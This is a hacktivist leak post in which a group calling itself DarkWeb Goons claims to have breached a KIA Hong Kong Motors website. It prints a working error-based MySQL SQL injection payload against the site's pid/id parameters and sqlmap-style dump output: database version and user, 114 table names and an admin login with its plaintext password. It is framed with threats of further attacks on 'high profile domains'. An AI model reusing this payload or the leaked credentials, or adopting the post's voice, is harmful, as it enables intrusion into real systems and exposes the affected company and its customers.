KIA Hong Kong Motors - Hacked By #DWG

dwg@goon:~ #INTRO
###############################################################################
-------------------------DarkWeb Goons-----------------------------------------
#########################@DarkWebGoons#########################################
#-------------------------The Message------------------------------------------#
#Haven't you've seen enough? We are no match for your petty security..         #
#We are the DarkWeb Goons, we will not stop.                                   #
#We will target & exploit all High Profile domains, until admins get the point.#
#Fix your flaws or we will continue to abuse them. As you've seen before..     #
#We clearly do not give a shit, what or who we take down.                      #
#One by one, all of you will fall before #DWG.                                 #
#Be prepared, the end of all security is near.                                 #
################################################################################
Well, well, well.. What do we have here?
Looks like KIA Motors isn't very secure now is it? #Lulz.

Target: www.kia.hk.com

Vulnerability Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: pid=7&id=1 AND (SELECT 4992 FROM(SELECT COUNT(*),CONCAT(0x3a6464623a,(SELECT (CASE WHEN (4992=4992) THEN 1 ELSE 0 END)),0x3a6b6d743a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
###############################################################################
dwg@goon:~ database information....
#version():    '5.0.96-community-log'
#user():    'kiacom_user@localhost'
#-----------------------------------------------------------------------------#
dwg@goon:~ ls kiacom_db
Database: kiacom_db
[114 tables]
+--------------------------------+
| va_admin_privileges            |
| va_admin_privileges_settings   |
| va_admins                      |
| va_ads_assigned                |
| va_ads_categories              |
| va_ads_features                |
| va_ads_features_default        |
| va_ads_features_groups         |
| va_ads_images                  |
| va_ads_items                   |
| va_ads_properties              |
| va_ads_properties_default      |
| va_ads_types                   |
| va_articles                    |
| va_articles_assigned           |
| va_articles_categories         |
| va_articles_images             |
| va_articles_related            |
| va_articles_reviews            |
| va_articles_statuses           |
| va_banned_contents             |
| va_banners                     |
| va_banners_assigned            |
| va_banners_clicks              |
| va_banners_groups              |
| va_black_ips                   |
| va_categories                  |
| va_cc_expiry_years             |
| va_cc_start_years              |
| va_change_types                |
| va_companies                   |
| va_countries                   |
| va_coupons                     |
| va_credit_cards                |
| va_currencies                  |
| va_custom_blocks               |
| va_events                      |
| va_faq                         |
| va_features                    |
| va_features_default            |
| va_features_groups             |
| va_forum                       |
| va_forum_categories            |
| va_forum_list                  |
| va_forum_messages              |
| va_forum_moderators            |
| va_global_settings             |
| va_header_links                |
| va_issue_numbers               |
| va_item_types                  |
| va_items                       |
| va_items_accessories           |
| va_items_categories            |
| va_items_downloads             |
| va_items_downloads_statistic   |
| va_items_images                |
| va_items_prices                |
| va_items_properties            |
| va_items_properties_values     |
| va_items_related               |
| va_items_serials               |
| va_languages                   |
| va_layouts                     |
| va_manufacturers               |
| va_news                        |
| va_newsletters                 |
| va_newsletters_emails          |
| va_newsletters_users           |
| va_order_custom_properties     |
| va_order_custom_values         |
| va_order_statuses              |
| va_orders                      |
| va_orders_events               |
| va_orders_items                |
| va_orders_items_properties     |
| va_orders_items_serials        |
| va_orders_notes                |
| va_orders_properties           |
| va_orders_serials_activations  |
| va_page_settings               |
| va_pages                       |
| va_payment_parameters          |
| va_payment_systems             |
| va_polls                       |
| va_polls_options               |
| va_polls_votes                 |
| va_release_changes             |
| va_release_types               |
| va_releases                    |
| va_reviews                     |
| va_shipping_modules            |
| va_shipping_modules_parameters |
| va_shipping_rules              |
| va_shipping_times              |
| va_shipping_types              |
| va_shipping_types_countries    |
| va_states                      |
| va_support                     |
| va_support_attachments         |
| va_support_departments         |
| va_support_messages            |
| va_support_predefined          |
| va_support_priorities          |
| va_support_products            |
| va_support_statuses            |
| va_support_time_report         |
| va_support_types               |
| va_support_users_departments   |
| va_support_users_priorities    |
| va_tax_rates                   |
| va_tax_rates_items             |
| va_user_types                  |
| va_user_types_settings         |
| va_users                       |
+--------------------------------+
#----------------------------------------------------------------------------------------#
dwg@goon:~ ls va_admins
[1 entry]
+-------+---------------------------+------------+
| login | email                     | password   |
+-------+---------------------------+------------+
| admin | [email protected] | helloworld |
+-------+---------------------------+------------+
#----------------------------------------------------------------------------------------#
dwg@goon:~
dwg@goon:~
dwg@goon:~
dwg@goon:~
dwg@goon:~
dwg@goon:~
dwg@goon:~  That's all for now. Sorry we couldn't leak more. But this outta due.
dwg@goon:~  More coming up, very soon!
dwg@goon:~  Remember to follow; @DarkWebGoons.
dwg@goon:~  #Goon - #INST1NCT - #Corrupt- #Menace- #Cyber-Savage -
dwg@goon:~  #Ruffboi - #BreShiE - #Rhythm - #i0xIllusi0n -
dwg@goon:~  #Workaholics - #COD3X - #Ultimatum
#-----------------------------------------------------------------------------------------#
 ____             _   __        __   _        ____
|  _ \  __ _ _ __| | _\ \      / /__| |__    / ___| ___   ___  _ __  ___
| | | |/ _` | '__| |/ /\ \ /\ / / _ \ '_ \  | |  _ / _ \ / _ \| '_ \/ __|
| |_| | (_| | |  |   <  \ V  V /  __/ |_) | | |_| | (_) | (_) | | | \__ \
|____/ \__,_|_|  |_|\_\  \_/\_/ \___|_.__/   \____|\___/ \___/|_| |_|___/

#DWG.